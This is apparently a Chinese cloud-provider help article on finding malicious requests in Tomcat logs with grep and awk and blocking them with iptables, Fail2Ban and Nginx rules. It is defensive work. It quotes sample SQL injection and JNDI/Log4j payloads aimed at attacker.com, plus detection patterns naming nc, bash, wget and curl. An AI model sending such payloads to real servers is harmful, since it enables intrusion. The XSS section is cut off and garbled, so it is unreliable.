首页 帮助中心 美国云服务器 怎么通过Tomcat日志中识别出恶意请求?
怎么通过Tomcat日志中识别出恶意请求?
时间 : 2025-02-10 17:12:07 编辑 : 华纳云 阅读量 : 57

在 Tomcat 日志(catalina.out、localhost_access_log.*.txt)中识别 恶意请求,可以从 访问频率、异常请求模式、攻击特征 这几个方面进行分析。以下是一些常见的恶意请求及检测方法:

1. 分析访问日志 (localhost_access_log.*.txt)

Tomcat 访问日志一般存储在:

/var/log/tomcat*/localhost_access_log.*.txt

日志格式类似:

127.0.0.1 - - [10/Feb/2025:12:34:56 +0800] "GET /admin HTTP/1.1" 404 500 "-" "Mozilla/5.0"

查找异常 IP:

如果某个 IP 在短时间内大量访问异常路径,可能是恶意扫描:

awk '{print $1}' /var/log/tomcat*/localhost_access_log.*.txt | sort | uniq -c | sort -nr | head -20

输出示例(访问最多的 IP):

1500 192.168.1.100

1200 203.0.113.45

1100 185.60.216.35

短时间内上千次请求:可能是爬虫、扫描器或攻击脚本。

未知来源的 IP:特别是数据中心 IP 可能用于攻击。

查找可疑 URL:

攻击者常尝试访问 未公开的敏感 URL,如:

后台管理:/admin、/manager/html、/console

文件探测:/.git、/.svn、/WEB-INF/web.xml

暴力破解:/login?user=admin&pass=123456

SQL 注入:/index.php?id=1' or '1'='1'

远程代码执行:/struts2-showcase.action?redirect:${jndi:ldap://attacker.com}

执行:

grep -E 'admin|manager|console|.git|.svn|passwd|config|login' /var/log/tomcat*/localhost_access_log.*.txt | less

识别 SQL 注入:

如果攻击者尝试 SQL 注入,日志中可能出现:

grep -iE 'select|union|from|where|sleep|benchmark' /var/log/tomcat*/localhost_access_log.*.txt

示例:

192.168.1.101 - - [10/Feb/2025:12:40:00 +0800] "GET /index.php?id=1%27%20or%20%271%27%3D%271 HTTP/1.1" 200

如果有 大量 SQL 相关请求,说明有人在测试 SQL 注入。

2. 分析 Tomcat 错误日志 (catalina.out)

Tomcat 运行日志存放在:

/var/log/tomcat*/catalina.out

或者:

$CATALINA_HOME/logs/catalina.out

查找异常 500 错误:

攻击者尝试破坏应用时,可能触发 500 内部服务器错误:

grep "500" /var/log/tomcat*/catalina.out | less

如果同一个 IP 频繁触发 500 错误,可能是恶意攻击。

识别 XSS (跨站脚本):

黑客可能尝试 XSS(跨站脚本攻击),特征:

URL 中包含 HTTP/1.1" 200

执行:

grep -E '

查找远程代码执行 (RCE):

Tomcat 曾受 Struts 2、Log4j 远程代码执行漏洞影响,攻击者可能尝试:

192.168.1.200 - - [10/Feb/2025:12:50:00 +0800] "GET /struts2-showcase.action?redirect:${jndi:ldap://attacker.com}" HTTP/1.1" 200

执行:

grep -E 'jndi|ldap|rmi|exec|cmd|nc|bash|wget|curl' /var/log/tomcat*/localhost_access_log.*.txt

3. 处理恶意请求

屏蔽恶意 IP:

发现恶意 IP 后,可以在 防火墙 直接封禁:

iptables -A INPUT -s 203.0.113.45 -j DROP

或使用 UFW(Ubuntu):

ufw deny from 203.0.113.45

配置 Fail2Ban:

Fail2Ban 可自动封禁攻击 IP:

安装:

sudo apt install fail2ban -y

配置 Tomcat 规则:

sudo nano /etc/fail2ban/jail.local

添加:

[tomcat]
enabled = true
port = 8080,8888
filter = tomcat
logpath = /var/log/tomcat*/localhost_access_log.*.txt
maxretry = 5
bantime = 3600

然后启动:

sudo systemctl restart fail2ban

Nginx 过滤恶意请求:

如果 Tomcat 运行在 Nginx 代理后面,可以在 nginx.conf 添加:

location / {
    if ($request_uri ~* "(\.git|passwd|config|admin|console)") {
        return 403;
    }
}

然后重启:

systemctl restart nginx

在 Tomcat 日志中识别恶意请求,你可以先检查 localhost_access_log 和 catalina.out,看看有没有可疑 IP 或请求路径,再采取相应的防护措施!

华纳云 推荐文章
DSH集中管理大量服务器的用法教程 Linux删除文件的命令行工具分享 Linux中提取RPM或DEB包安装文件的方法 Linux如何使用fdisk命令进行磁盘操作 linux云服务器安全防护技术标准有哪些 Linux主机安装pytorch为什么失败? 基于RHEL的发行版中配置Firewalld的方法 Glances监控远程Linux系统的简单方法 Linux中使用Grep命令的使用 在Linux中如何安全且永久地删除文件和目录
客服咨询
7*24小时技术支持
技术支持
渠道支持